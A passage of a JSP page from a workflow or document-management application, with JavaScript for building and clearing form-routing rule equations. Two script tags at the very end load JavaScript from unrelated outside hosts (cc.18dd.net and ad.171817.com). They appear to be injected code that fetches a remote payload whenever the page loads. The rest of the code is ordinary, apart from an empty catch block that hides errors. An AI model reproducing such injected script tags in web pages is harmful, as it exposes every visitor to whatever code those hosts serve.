        } else if(!haveCompare){
          operand1 += frm.operand.options[k].value + "|";
        } else {
          operand2 += frm.operand.options[k].value + "|";
        }
        formEquation += frm.operand.options[k].text;
      }
    }
    selectedElement = false;
    selectedCompare = true;
    

  } else if(optionValue == 3){ 
    
    if(selectedElement){
      alert("<bean:message key='workflow.message.please_add_an_operand_first'/>");
      return false;
    }

    if(frm.value.value == "" ){
      alert("<bean:message key='workflow.message.please_enter_the_operator_value'/>");
      frm.value.focus;
      return false;
    } else if (frm.operationType[2] && frm.operationType[2].checked ){
      if (frm.value.value.length <10){
        alert("<bean:message key='workflow.message.invalid_date_format'/>");
        frm.value.focus();
        return false;
      }
      
    } else if ("<%=WorkflowStepFormEquat.OPERATION_TYPE_NUMBER%>" == operationType && !numericCheck(frm.value.value)){
      frm.value.focus();
      return false;
    }

    <%if ( !Utility.isEmpty(optionList) ) {%>
    formEquation += "'" + frm.value.options[frm.value.selectedIndex].text + "'";
    <%} else {%>
    if (frm.value.type=='select-one'){
      var tmpOptionValue = frm.value.value;
      formEquation += "'" + frm.value.options[frm.value.selectedIndex].text + "'";
    }else{
      formEquation += "'" + frm.value.value + "'";
    }
    <%}%>
    if(!haveCompare){
      operand1 += frm.value.value + "|";
    } else {
      operand2 += frm.value.value + "|";
    }
    selectedElement = true;
    selectedCompare = false;
  }
  
  frm.formEquation.value = formEquation;
  frm.operand1.value = operand1;
  frm.operand2.value = operand2;  
  return false;
}

function clearFormEquation(){
  frm.formEquation.value = "";
  frm.formEquationItem.value = "";
  frm.ruleName.value = "";
  frm.ruleType.value = "<%=FormRoutingRule.ROUTING_TYPE_VERIFY%>";
  OpchangeRuleType(frm.ruleType.value);
  frm.operand1.value = "";
  frm.operand2.value = "";
  frm.compare.value = "";
  frm.value.value = "";
  if (frm.dummy_value){frm.dummy_value.value="";}
  document.all("spanValue").innerHTML="<input type='text' name='value' maxlength='100' size='20' value='' disabled='disabled'> ";
  frm.targetElementID.value = "";
  frm.checkRule.checked=false;  
  haveCompare = false;
  selectedElement = false;
  selectedCompare = false;
  return false;
}

function refreshFormEquation(){  
  frm.formEquation.value = "";
  frm.formEquationItem.value = "";
  frm.operand1.value = "";
  frm.operand2.value = "";
  frm.compare.value = "";
  frm.value.value = "";
  if (frm.dummy_value){frm.dummy_value.value="";}
  frm.targetElementID.value = "";
  //frm.checkRule.checked=false;  
  haveCompare = false;
  selectedElement = false;
  selectedCompare = false;
  return false;
}

function numericCheck(intValue){
  if (isNaN(intValue) || intValue<0 ) {
    alert("<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), com.dcivision.dms.DmsErrorConstant.NEW_FIELD_NUMERIC_VALUE)%>");
    return false;
  }
}

function trimOperand(str){
  var operand;
  operand = str.substr(str.length-1,str.length);
  if(operand == "+" || operand == "-" || operand == "*" || operand == "/"){
    str = str.substr(0,str.length-1);
    return str;
  }

  operand = str.substr(str.length-2,str.length);
  if(operand == "+|" || operand == "-|" || operand == "*|" || operand == "/|"){
    str = str.substr(0,str.length-2);
    return str;
  }

  return str;
}

 
-->
</script>
<%}%>
</html:form>
<%}catch(Exception e){}%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>